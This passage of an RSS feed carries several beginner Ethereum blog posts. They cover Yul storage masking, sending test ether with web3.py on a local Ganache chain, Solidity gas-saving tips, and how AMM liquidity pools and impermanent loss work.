because variable storage slot and offsets are fixed<br>   //V stands for value<br>   // V and 00 = 00<br>   // V and FF = V<br>   // V or  00 = V</pre><p>Let’s make a brief intro about masking:</p><p>You will see a lot: 0xffffffffffffffffffffffffffffffffffff</p><p>In reality, these ffffff are 1’s in binary</p><pre>//rules:<br>// <br>//f = 1111<br>//ff = 11111111</pre><p>So, as you can see, a f corresponds to 4 1’s.</p><p>Now let’s mask the F variable to return only the E</p><pre>function shiftE()external view returns(bytes32 e, uint256 masked){<br>assembly{<br>    let slot := sload(E.slot)<br>    e := shr(mul(E.offset, 8), slot)<br>    masked := and(0xffff,e)<br>}<br>}</pre><p>returns:</p><ul><li>**0:**bytes32: e 0x0000000000000000000000000000000000000000000000000000000000010008</li><li>**1:**uint256: masked 8</li></ul><p>You can see that it returned the E value 8</p><p>Congrats, now you know how to read from storage, but we still have to discover how to write and store variables.</p><h3>3 Bit Shifting and Masking in Assembly(Yul).</h3><h3>Write to storage without messing up the code</h3><p>Writing can be difficult because the EVM can just write in 32-byte increments.</p><p>We are going to write to a packed variable, let’s say, E again, which is uint16 (2bytes).</p><p>We have to remember again that v and 00 is 00, v or 00 is v, and v and ff is v.</p><p>Let’s write to storage! Let’s change the E value to 10</p><p>Steps:</p><p>1 Load the value from the slot we want to write to.</p><pre>function writeE(uint16 newE)external  returns(bytes32 value,bytes32 clearedE, bytes32 newV, bytes32 shifted){<br>assembly{<br>    //newE = 0x0000000000..0000000a = 10 <br>     value:= sload(E.slot)</pre><p>2 Delete the E value with bit masking. We know that v and 00 is 00, so we are passing 0000 to the 2 bytes where E is stored, so we are resetting it to 0.</p><p>To keep other variables in their current state, we are using ffffff because v and ff is v.</p><pre>//we want to delete E<br>      clearedE := and(0xff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, value)</pre><p>3 Add the new value for E, in our case 10, or `a` in hex, that we pass as a param in the function.</p><p>And now we have to shift the value to the left, to its previous storage offset in the slot. As we discussed before, shl receives bits not bytes, so we multiply by 8.</p><pre>shifted := shl(mul(E.offset,8),newE)<br>      //0x00000a0000000000000000000000000000000000000000000000000000000000</pre><p>4 Finally get together both 32bytes variables, the clearedE, and the new shiftedE, using or. You can check the official solidity docs to understand better which opcode to use.</p><pre>newV := or(shifted,clearedE)<br>      //newV 0x01000a0000000000000000000000000600000000000000000000000000000004<br>      sstore(E.slot,newV)</pre><p>5 As we know, with or v or 00 is v. So we are going to be able to insert the new variable E in the same offset.</p><p>Complete function:</p><pre>function writeE(uint16 newE)external  returns(bytes32 value,bytes32 clearedE, bytes32 newV, bytes32 shifted){<br>assembly{<br>    //newE = 0x0000000000..0000000a = 10 <br>     value:= sload(E.slot)<br>     //value: value 0x0100010000000000000000000000000600000000000000000000000000000004<br>      //we want to delete E<br>      clearedE := and(0xff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, value)<br>      //Elimintaed E: 0x0100000000000000000000000000000600000000000000000000000000000004<br>      shifted := shl(mul(E.offset,8),newE)<br>      //0x00000a0000000000000000000000000000000000000000000000000000000000<br>      newV := or(shifted,clearedE)<br>      //newV 0x01000a0000000000000000000000000600000000000000000000000000000004<br>      sstore(E.slot,newV)<br>}</pre><p>HOPE YOU LIKED THE ARTICLE, IF YOU FELT LIKE IT WAS HELPFUL, I WOULD APPRECIATE ANY TYPE OF SUPPORT.</p><p>Twitter: <a href="https://twitter.com/0xWeisss">https://twitter.com/0xWeisss</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=942f4b4ebb6a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SEND ETHER WITH WEB3.PY (PYTHON)]]></title>
            <link>https://medium.com/@mweiss.eth/send-ether-with-web3-py-python-bd0e8e85e93e?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd0e8e85e93e</guid>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Sat, 11 Jun 2022 14:01:22 GMT</pubDate>
            <atom:updated>2022-06-11T14:01:22.912Z</atom:updated>
            <content:encoded><![CDATA[<p>First of all, we must import Web3 to be able to make the process</p><pre>from web3 import Web3</pre><p>We should connect to a local blockchain, in my case, I will use Ganache, which is very easy to set up. Feel free to use other options. We only need Ganache’s port.</p><pre>ganache_url = &quot;HTTP://127.0.0.1:8545&quot;</pre><pre>web3 = Web3(Web3.HTTPProvider(ganache_url))</pre><p>In case you want to check whether you are successfully connected to your local Blockchain, use the following line:</p><pre>print(web3.isConnected())</pre><p>I prefer using ganache-cli, the command line version from Ganache, because it has more features than the desktop one with the interface. Just grab the hash of two automatically generated accounts from your blockchain. I entered ganache-cli — deterministic so they were shown in my terminal.</p><pre>#accounts copied from ganache-cli --deterministic</pre><pre>account_1 = &quot;0x90F8bf6A479f320ead074411a4B0e7944Ea8c9C1&quot;</pre><pre>account_2 = &quot;0xFFcf8FDEE72ac11b5c542428B35EEF5769C409f0&quot;</pre><p>Then, you need the private key from the account you are going to send the funds with because you need to sign the transaction. Note that this is a test with fake ether but you should never show your private key. The best thing is to set them as environmental variables in a .env file and export them to our project.</p><pre>#first account private key</pre><pre>private_key = &quot;0x4f3edf983ac636a65a842ce7c78d9aa706d3b113bce9c46f30d7d21715b23b1d&quot;</pre><p>We need to get the number of transactions that the account has sent because we don’t want to send the transaction more than once.</p><pre>#get the nonce</pre><pre>nonce = web3.eth.getTransactionCount(account_1)</pre><p>Now we have to build the transaction data. The value of ether that we send is equivalent to 1, but it is converted to wei. Then, we have to specify how much gas we are willing to pay and its price. So the total amount that we are going to pay is the gas * gasPrice.</p><pre>#build the transaction</pre><pre>#build a dictionary that contains all the transaction information</pre><pre>tx = {</pre><pre>&#39;nonce&#39;: nonce,  #prevents from sending a transaction twice on ethereum</pre><pre>&#39;to&#39;: account_2,</pre><pre>&#39;value&#39;: web3.toWei(1, &#39;ether&#39;),</pre><pre>&#39;gas&#39;: 2000000,</pre><pre>&#39;gasPrice&#39;: web3.toWei(50, &#39;gwei&#39;)</pre><pre>}</pre><p>Now, we just need to sign and send the transaction. For signing, we just need the transaction created before and the private key from the sender&#39;s account.</p><pre>#sign the transaction</pre><pre>signed_tx = web3.eth.account.signTransaction(tx, private_key)</pre><pre>#send the transaction</pre><pre>tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)</pre><p>If you want to see the transaction’s details, you can get the transaction’s hash. Note that it has to be converted to Hexadecimal.</p><pre>#get transaction hash</pre><pre>print(web3.toHex(tx_hash)) #to convert the hash into hexadecimal</pre><p>So, that is basically everything. Hopefully, this has been hopeful for whoever reads the article.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd0e8e85e93e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GAS SAVING (SOLIDITY)]]></title>
            <link>https://medium.com/@mweiss.eth/gas-saving-solidity-81cb5aa7b79b?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/81cb5aa7b79b</guid>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Tue, 07 Jun 2022 21:21:19 GMT</pubDate>
            <atom:updated>2022-08-06T14:08:36.301Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*rIpLqrqY7sztyeJcdlkwAw.png" /></figure><p>Gas fees are based on the amount of work that the node has to do in order to deal with our transaction. You don’t have endless gas, so whenever you are doing a transaction, the maximum amount of wei permitted it’s 30 million for each block.</p><p>Gas is a transaction fee, that is only paid when you want to modify data on the blockchain, not to view data. This means that the view and pure functions do not cost gas.</p><p>The sender of the transaction is who pays the gas and the miners are the ones that receive gas once the transaction is included in the blockchain.</p><p>First of all, let’s get to some basics:</p><p>We normally use 2 units to represent gas:</p><ul><li>Wei 1*10^-18 eth</li><li>Gwei 1*10^-9 eth</li></ul><p>How is gas cost calculated:</p><ul><li>gas Cost(ether) = gas Price * gas Cost(gas).</li></ul><p>Gas Price = how much ether you are willing to pay for each unit of gas, set by the sender of the transaction.</p><p><strong>“SAVING GAS”</strong></p><p>· Cast all the storage variables into memory inside functions.</p><p>· When using require, the longer the error message is, the more gas you use.</p><p>· Storage, memory, calldata, stack.</p><p>//Data locations that go from the most expensive, to the cheapest one.</p><p>· Fixed-size variables are always cheaper than dynamic ones. Define the length of an array if you know it. (uint [12] monthlyTransfers);</p><p>· Normally working with mappings is cheaper than working with arrays.</p><p>· Initializing a variable wastes gas if you are not going to use that value. Better to do: (uint256 pasta); than (uint256 pasta = 0);</p><p>· If we are adding message strings to require statements, we can make it cheaper by limiting the string to 32 bytes.</p><p>· Ethereum gives us a gas refund when we delete variables. That’s an incentive to save space in the blockchain.</p><p>· Deleting a variable, refunds 15k gas up to a maximum of half the gas cost of the transaction. Deleting with the delete keyword is equivalent to assigning the initial value for the data type, such as 0 for integers.</p><p>· Storing data in events can be done to save gas, even though is not recommended in most cases because events are not made for data storage.</p><p>· Using the indexed keyword in an event increases the price of the transaction.</p><p>· Minimize the on-chain data. Basically, when you code a smart contract, you have part of your logic on the smart contract, but usually, you also have part of your system on a centralized server. How to decide? Any critical data must go inside your smart contract such as all the economy. All the non-critical data such as the metadata can go to a centralized server.</p><p>· Use libraries if you are going to use different smart contracts for similar functionalities. Then you are going to deploy this library just once and all the smart contracts will point to this library to share the functionality.</p><p>There are two types of libraries, the embedded library, and the deployed library. But you just want the deployed library, for that, you need to make sure that all the functions in your library are external.</p><p>· Use ERC1167 if you need to deploy the same smart contract many times. It uses a proxy system of smart contracts, where you just have to deploy the actual code of the smart contract once. The following deployments are only going to point to the already deployed code logic, but still, each smart contract will have its own data on the blockchain</p><p>· Turn on the solidity optimizer in REMIX. It will help you to produce a more efficient bytecode that will help you to produce less gas, in Truffle you can activate it very easily using truffle-config.js.</p><p>The best thing is to turn it on when where are going to deploy the contract, because the problem that it has it’s that it takes more time to compile the code, therefore, it&#39;s not that efficient for development.</p><p>· Use events. If you have some data that only needs to be created once but after it doesn’t have to be updated or read from the smart contract, definitely this is a great option, events consume less gas than a normal state solidity variable.</p><p>Events are saved in a different place than storage variables, they are saved in some logs that allow you to print them. These logs or data structures are not accessible to smart contracts that’s why events are cheaper and spend less gas. On the transaction details in the window logs, you can find in the data window, a hash made up of all the parameters that were not indexed</p><p>· Use literal values instead of computed ones. If you know that a value will be stored in the blockchain don’t compute it from 0, if you know that you will store a specific hash compute it outside the smart contract, and directly from a static string you instantiate the variable with the final hash.</p><p>· Avoid copying arrays in memory. If you have some arrays that are stored in the stored location in the smart contract, the best thing is to create a storage pointer to that storage array in the smart contract and don’t need to copy that array at all</p><p>· Avoid creating for-loop over dynamic ranges. You have your smart contract where inside a function you have a for loop that iterates for a value that is dynamic.</p><p>· Optimize the order of your variable declaration, The EVM store the data of a smart contract of memory slot of 256bits. So uint256 can fit in one single slot, but for other types such as bytes, it expands several slots. But if you have several types of data that can fit in a 256 slot, solidity will actually do some optimization and put these two variables in a single slot. For example, 2 uint128 variables can fit in a single256 slot. In order for solidity to do this, your variables need to be declared next to each other</p><p>Uint128 a;</p><p>Uint128 b;</p><p>Uint256 c;</p><p>· Use an npm package named eth-gas-reporter and it will show your gas consumption of all of your functions every time you test your smart contract.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81cb5aa7b79b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AMM (Liquidity Pools Algorithm)]]></title>
            <link>https://medium.com/@mweiss.eth/amm-liquidity-pools-algorithm-f47f6486bbb1?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/f47f6486bbb1</guid>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Tue, 07 Jun 2022 13:02:22 GMT</pubDate>
            <atom:updated>2022-06-07T13:03:46.914Z</atom:updated>
            <content:encoded><![CDATA[<p>As I promised in the DEFI III episode, we are going to see what AMM(automated market maker) is.</p><p>It is an algorithm that allows traders to buy and sell certain coins. Basically, it dictates how much expensive some token should be based on how much of it there is.</p><p>Imagine hundreds of years ago when they were trading food between villages. Your village is very rich with apples and a nearby village is rich in oranges, and you both want to trade them. Let’s say every village gives the other one 1000 units of its autochthon fruit, and they are kept in a magic box that uses an algorithm that is called “Constant Product Automated Market Maker” with the formula X * Y = K.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*BPoseRlWXxWB8nYuElIhVA.png" /></figure><p>So this formula means that will take both quantities of fruits(X and Y) and will be multiplied so that they always give the same result, in this case, 1 million(1000apples*1000oranges).</p><p>This way if 1 year there are fewer oranges, the oranges will be more expensive to trade with/to buy.</p><p>It’s everything based on supply and demand. If you want to buy apples, and another village also wants apples and so on, the apples will be far more expensive. Imagine that now, you add 500 oranges more to the box, that will add to 1500 total oranges and 1000 apples.</p><p>So if the total multiplied value is 1million(K), the apples should go down to 667, because 667 times 1500 is 1 million. So you will be given in exchange for this 500 oranges, 333 apples. Because 1000–667 is 333.</p><p>Let’s talk with the same example, converting this mystery box in a liquidity pool, and the quantity of 1 unit of each fruit is 1 dollar. So if the 1000 apples are a thousand dollars, and the price of the entire set of oranges should be also 1000 dollars. But we have 1500 oranges so the price for each orange will obviously be lower. In this case more or less 0.67 cents for each orange.</p><p>Therefore, as you saw in the examples, always it will remain the same total price because you will continue having 1k worth of apples and 1k worth of oranges. So that’s how the liquidity pool algorithm works.</p><p>An example for you to understand:</p><p>Let’s say that there are now 1230 oranges and 813 apples, and you, the person who is reading this, wants to add 150 apples in exchange for some oranges. How many oranges will you get back?</p><p>The solution will be below, don’t look at it.</p><p><strong><em>X*Y = Z</em></strong></p><p>You are trying to find the number of oranges that will remain in the pool, in order for you to find how many you get from the trade.</p><p>First, we have to divide the 1million in total, because it always will remain the same, between the number of apples (963). This gives us the remaining number of oranges that should stay in the liquidity pool.</p><p>For the formula to make sense, in this case, it adds up to 1038 oranges. So basically the oranges that you will get are: 1230–1038 = <strong>192 oranges.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f47f6486bbb1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DEFI III (Liquidity Pools, Impermanent Loss…)]]></title>
            <link>https://medium.com/@mweiss.eth/defi-iii-liquidity-pools-impermanent-loss-560e9d567d52?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/560e9d567d52</guid>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Mon, 06 Jun 2022 22:41:21 GMT</pubDate>
            <atom:updated>2022-06-06T22:42:49.179Z</atom:updated>
            <content:encoded><![CDATA[<p>Liquidity Pools are smart contracts that allow traders to buy and sell tokens even if they are not buyers or sellers out there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*n-Corhl17qgQS-9BSOrKog.jpeg" /></figure><p>It uses an algorithm, which I’m going to talk about in the next post, that no matter how high or low the price of an asset is, the time of the day we are in, or if there is a buyer or a seller that meets our needs, we could buy or sell an asset.</p><p>The pool always starts with a 50:50 ratio so if you want to trade with 1000$ you should give 500$ worth of 2 cryptos/tokens. Let’s say Ethereum and Uniswap. So when you want to buy UNI(uniswap token) with ETH and there is more ETH on the pool than UNI, they will give you fewer UNI tokens because their individual value increases.</p><p><strong>TERMS TO KNOW</strong></p><p>· <strong>ROUTING</strong></p><p>Imagine that you have a bunch of UNI tokens and you want to buy another token (APE) that is not in a pair with UNI. What a DEX does, is to hook up to liquidity pools to allow to perform that trade directly. So, you will get your APE tokens directly but from behind, it will have performed two trades. First, your UNI will be changed for ETH and then with this ETH, the APE tokens will be bought using a smart contract.</p><p>· <strong>LIQUIDITY POOL INVESTORS OR PROVIDERS (why)</strong></p><p>When you put money in a liquidity pool you will be a liquidity provider. Obviously, every trade that you make on this DEX has a small fee. These fees go to the liquidity providers.</p><p>So, let’s say that you provide 500$ worth of two cryptos/tokens to the pool, and I do the same. The pool will have 2 liquidity providers and 2000$ worth inside it. When traders come and buy or sell using the pool, the small fee that they get for operating it’s split between you and me.</p><p>· <strong>ARBITRAGE TRADING</strong></p><p>Imagine that on a pool, someone has given a lot of Ethereum, and the price of it it’s 1500$. After that, you go to Binance and see that ETH costs 1800$. So, you buy a bunch of ETH at 1500$ in de DEX, and you go and sell them in Binance for 300$ profit for each one. That’s what it’s called arbitrage trading. We actually need arbitrage traders because they keep the price of an asset the stable as possible because once someone notices a big difference, they will make this trade and then the price will eventually go back to normal.</p><p>· <strong>How does the price of each asset vary? (PRICE IMPACT)</strong></p><p>Well, this is going to be explained in my next post related to the AMM algorithm. But, meanwhile there is more quantity of money inside the liquidity pools more stable they are.</p><p>You have to measure the risks because it’s not the same to have 2k in the pool and I come and trade with 500$, because, the price will vary seriously, that if the pool has 2million dollars and I trade with the same amount, the price will almost not change.</p><p><strong>THE RISK of Liquidity Pools</strong></p><p><strong>- Impermanent Loss</strong></p><p>The unrealized loss that occurs when your position as a liquidity provider becomes uneven compared to its original position. This can only happen to liquidity providers who provided liquidity to the pool. Let’s say that you invest 1000$ in USDC and 1 ETH into a liquidity pool, so basically, what this means is that the price of ETH is 1000$ for each one, remember the 50:50 ratio.</p><p>Now a trader goes and deposits 488USDC to buy 0.456ETH and he does an arbitrage trade in Coinbase because the price of eth has increased to 110$. He sells the ETH for 511,82$ so he made a profit of 23,82$.</p><p>But what has happened to you, the liquidity provider?</p><p>You also eventually made a profit. Because the pool has 1488$ worth of USDC and 0.544eth * 1100$. So, now in the pool, there is 2086,4$. So that’s a profit of 86,4$ that day, for you, the liquidity provider.</p><p>But if we sum up the profits that we could have made without providing liquidity:</p><p>1 ETH * 1100$ and 1000USDC, that are 2100$. So we had an impermanent loss of 2100$ -2086,4 = <strong>13,6$ IMPERMANENT LOSS.</strong></p><p>So, the impermanent loss occurs when the difference between two assets in a pool changes, and it&#39;s impermanent because the loss has not occurred until you cash out the liquidity, so it can still reverse by the price of ETH going back to normal.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=560e9d567d52" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>